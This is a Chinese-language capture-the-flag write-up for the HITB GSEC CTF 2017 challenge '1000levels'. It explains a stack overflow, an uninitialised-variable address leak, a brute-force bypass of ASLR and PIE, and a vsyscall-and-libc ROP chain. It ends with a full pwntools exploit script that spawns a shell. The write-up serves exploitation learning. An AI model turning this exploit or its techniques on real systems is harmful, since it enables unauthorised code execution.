【HITB GSEC CTF 2017】1000levels
https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz
#通過閱讀天樞戰隊大佬們的wp調試的結果
首先查看一下該elf文件的保護情況:
是64位程序,有PIE、NX保護,沒有canary保護,懷疑是棧溢出類型。
開始尋找溢出點,通過閱讀ida得到的代碼,大致分析一下文件含義:
main:
main函數比較簡單,邏輯很明顯,有兩個貌似有用的函數,hint()、go()。不斷在這兩個函數中循環。
先看hint:
hint:
如果show_hint為1.則提示system函數的地址。show_hint位於bss段。難道是福利?
想多了= =。因為具有PIE保護,所以BSS段的地址也是隨機的,而且還沒找到可以任意的漏洞,暫時丟在這裏。
但從C代碼看不出什麽,可以看一下匯編代碼,
可以看到,雖然show_hint標識為0,但棧內仍然有這個system的地址(這很重要)
接下來看go函數:
go函數中有點問題,可以看到v5是沒有賦初值的。當v2<=0時,v5就是臟數據了。 //這是第二點
進入hint函數:
hint函數中可以看得到一個明顯的棧溢出, buf變量是8字節,而輸入是400u,可以溢出覆蓋很長一段空間,猜測這也就是可以利用的溢出漏洞。
綜上,程序分析結束,找到溢出漏洞一處,思路就可以是利用shellcode或者rop技術來執行命令。
因為有NX保護存在所以只能用ROP來利用漏洞,對rop的長度沒有限制,但是,由於ASLR和PIE的存在導致無法直接獲得system函數的地址,幸虧有hint這樣一個函數。
從上文可以看到,在hint函數中,system的地址防止在rbp-110這樣的位置:
而我們找到的臟數據使用v5恰巧也是是定義在這個位置
因此,當第一次輸入為0時,v5就是system的地址。通過這個地址,可以爆破得到system的地址。
想法是這樣的:
猜測system第地址為i時,如果輸入-i,當i>system的地址時,得到的v6<0會輸出coward字樣,按位猜解從高位到低位就可以順次找到各位的system值。
要爆破幾位呢?
通過其他技術博客:http://www.cnblogs.com/wangaohui/p/7122653.html
知道,aslr的作用原理是這樣的:
函數加載與mmap相同
mmap隨機的位數由mmap_rnd_bits表示,在64位下是28比特,經過計算在64位平臺下mmap的基地址是:page_align(0x7ffbf8000000-rand),而其中的rand在是28比特的數字左移12位。當mmap的基地址確定後,在各個系統中,程序運行起來時各個模塊(不包括pie程序的主模塊、但包括各個動態鏈接庫)與mmap的基地址的偏移是固定的,因此這些模塊加載地址的隨機化也在28比特。
因此rand是 xxxxxxx000這樣的,而使用了減法,因此影響了system地址中間8*4的地址值,故簡單的可爆破8*4bit
而當爆破某位時,當小於system地址時,需要進行1000次的運算,在運算中由於存在棧溢出漏洞,可以覆蓋預期結果的地址,因此很簡單。
當運算999次後,會停止運算並退出,如果退出,再次進入時就失效了,因此必須通過溢出覆蓋返回地址,強行使程序恢復到程序開頭。
棧地址中恰巧存在start函數地址,因此可以使用它來返回函數的初始狀態。
但由於程序開啟了PIE保護,無法從elf文件中直接跳轉至main函數或尋找gadget,因此想到使用vsyscall來充當gadget(這部分在系統中地址始終不變。)
通過如上步驟就可以爆破出system地址,再由libc可以找到libc中“/bin/sh”的地址。
最後使用ROPgadget找到一個在libc中“pop rdi , ret”作為傳參gadget就可以利用棧溢出漏洞,來使用rop進行命令執行了:
附上exp:
from pwn import * p = process(‘./1000levels‘) debug = 0 if debug: context.log_level = ‘debug‘ def hint(): p.sendlineafter(‘Choice:‘,‘2‘) def go(first,more): p.sendlineafter(‘Choice:‘,‘1‘) p.sendlineafter(‘levels?‘,str(first)) p.sendlineafter(‘more?\n‘,str(more)) def calc(num): p.recvuntil(‘Answer:‘) p.send(num) def leak(): start = 0x700000000390 for i in range(10,2,-1): for j in range(15,-1,-1): hint() addr_test = (1 << (i*4) )* j + start go(0,-addr_test) a = p.recvline() #print hex(addr_test) if ‘Coward‘ not in a: start = addr_test log.info(‘check ‘+ hex(addr_test)) break pro = log.progress(‘go‘) for i in range(999): pro.status(‘level %d‘%(i+1)) calc(p64(0)*5) calc(p64(0xffffffffff600400)*35) pro.success(‘ok‘) return start + 0x1000 if debug: gdb.attach(p) #go(1,0) # system_addr = leak() print ‘[+] get system addr:‘, hex(system_addr) libc = ELF(‘./libc.so‘) system_addr_libc = libc.symbols[‘system‘] bin_sh_addr_libc = next(libc.search(‘/bin/sh‘)) bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc gadget = system_addr - system_addr_libc + 0x21102 payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr) go(1,0) exp = ‘a‘*0x38 + payload calc(exp) p.interactive()
最後,膜拜大佬們的思路。
【HITB GSEC CTF 2017】1000levels